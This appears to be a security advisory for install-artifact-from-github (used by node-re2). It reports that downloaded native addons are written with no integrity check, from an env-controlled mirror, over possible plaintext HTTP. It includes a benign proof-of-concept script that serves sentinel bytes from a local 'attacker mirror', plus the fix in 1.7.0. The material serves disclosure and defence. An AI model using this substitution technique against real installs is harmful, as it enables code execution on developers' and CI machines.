Description
bin/install-from-cache.js downloads a prebuilt native addon (.node) over the network and writes it directly to the artifact path with no cryptographic integrity verification of any kind — no checksum manifest, no signature, no SRI. A scan of the whole package for createHash|sha256|checksum|integrity|digest|signature finds nothing. The file is then require()-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.
Affected code (v1.6.0)
- Mirror is fully attacker-steerable via an env var, no host pinning — bin/install-from-cache.js:80: js let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com'; re2 passes --host-var RE2DOWNLOADMIRROR, so setting RE2DOWNLOADMIRROR (CI config, .npmrc/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.
- The write sink is a bare writeFile, no verification — bin/install-from-cache.js:185-187: js const write = async (name, data) => { await fsp.mkdir(path.dirname(name), {recursive: true}); await fsp.writeFile(name, data); // data is the raw HTTP response body };
- Cleartext transfer + silent protocol downgrade on redirect — bin/install-from-cache.js:155,165: js const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported ... get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url An https:// asset that 302-redirects to http:// is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.
The post-download "verification" is not an integrity gate
isVerified() optionally runs npm run verify-build / npm test after writing the file. For re2, scripts/verify-build.js require()s the binary as its first line — i.e. the downloaded addon's native code has already executed by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any npmconfigplatform env var is set (:120-122).
Proof of concept
A self-contained, non-malicious PoC (poc.js) proves the missing-integrity property against the real install-from-cache, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs install-from-cache with RE2DOWNLOADMIRROR pointed at it, and shows the served bytes are written verbatim to build/Release/re2.node:
npm i install-artifact-from-github IAFGBIN=./nodemodules/install-artifact-from-github/bin/install-from-cache.js node poc.js attacker mirror (plaintext http) on 127.0.0.1:PORT [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137 Writing to build/Release/re2.node ... Done. install-from-cache exit: 0 served sha256: ec6fdde6...4ebc written sha256: ec6fdde6...4ebc ✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them
The install succeeds (exit 0) with attacker-controlled bytes at the artifact path. Because a real .node executes on require() (NAPI/NODEMODULE init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)
Attack scenarios (any one suffices) - Attacker-configured or later-compromised RE2DOWNLOADMIRROR. - Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS. - On-path attacker where a plaintext (http://) mirror or an https→http redirect is in play.
Suggested fix 1. Publish per-release SHASUMS256.txt (or embed expected digests) and verify the download's SHA-256 before writing/loading; refuse on mismatch. (This is the model prebuild-install already uses.) 2. Reject http:// asset URLs and https→http redirect downgrades; pin scheme across redirects; cap redirect count/hosts. 3. Document that verify-build/test run after load and cannot gate integrity.
PoC poc.js:
js // PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO // integrity verification, from an env-controlled mirror, over plaintext HTTP. // // This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node // with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a // sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact. // Because a .node artifact is dlopen()'d on require (running its module-init native code), an // attacker who substitutes it — via a compromised/attacker-set RE2DOWNLOADMIRROR, a tampered // GitHub release, or an on-path MITM on the plaintext path — achieves code execution. // // Run: IAFGBIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js // (defaults to require.resolve if install-artifact-from-github is installed nearby) const http = require('http'); const fs = require('fs'); const os = require('os'); const path = require('path'); const crypto = require('crypto'); const { spawn } = require('childprocess');
const IAFG = process.env.IAFGBIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js'); const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex');
const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-')); fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({ name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' }, scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this }));
const server = http.createServer((req, res) => { process.stdout.write( [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n); res.writeHead(200, { 'content-type': 'application/octet-stream' }); res.end(SENTINEL); });
server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log(attacker mirror (plaintext http) on 127.0.0.1:${port}); const child = spawn('node', [IAFG, '--artifact', 'build/Release/re2.node', '--host-var', 'RE2DOWNLOADMIRROR', '--skip-path-var', 'RE2DOWNLOADSKIPPATH', '--skip-ver-var', 'RE2DOWNLOADSKIPVER'], { cwd: work, stdio: ['ignore', 'inherit', 'ignore'], env: { ...process.env, RE2DOWNLOADMIRROR: http://127.0.0.1:${port}, npmpackageversion: '1.24.1', npmpackagegithub: 'https://github.com/uhop/node-re2', npmpackagescriptsverifybuild: 'node -e "process.exit(0)"' } }); child.on('exit', (code) => { server.close(); console.log('install-from-cache exit:', code); const artifact = path.join(work, 'build/Release/re2.node'); if (fs.existsSync(artifact)) { const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex'); console.log('served sha256:', servedSha); console.log('written sha256:', writtenSha); console.log(servedSha === writtenSha ? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().' : '✗ sha mismatch'); } else { console.log('✗ artifact not written (check IAFGBIN path)'); } fs.rmSync(work, { recursive: true, force: true }); }); });
Patches
Fixed in 1.7.0 via hash-bag verification. The consuming package publishes an artifactHashes map (slot → sha256:<hex> of the decompressed binary) in its own package.json — immutable once on npm, stamped at publish time by the new hash-github-cache --write bin (e.g. wired as prepublishOnly). install-from-cache now verifies the decompressed download before writing it to disk; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default github.com source — an explicitly configured mirror (--host / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an https→http transport downgrade on the default path is also defeated by content verification.
Note: verification activates only when the consuming package ships an artifactHashes bag; packages without one behave as before (backward-compatible, zero-config default). node-re2 >= 1.26.0 publishes a stamped bag.
Workarounds
On <= 1.6.0: skip downloading entirely and build from source via the documented dev short-circuit (DEVELOPMENTSKIPGETTINGASSET env var, or a .development file). 1.7.0 adds first-class --force-build / DOWNLOADFORCEBUILD for the same effect. In all versions, never point a mirror variable (e.g. RE2DOWNLOADMIRROR) at a host you do not fully control.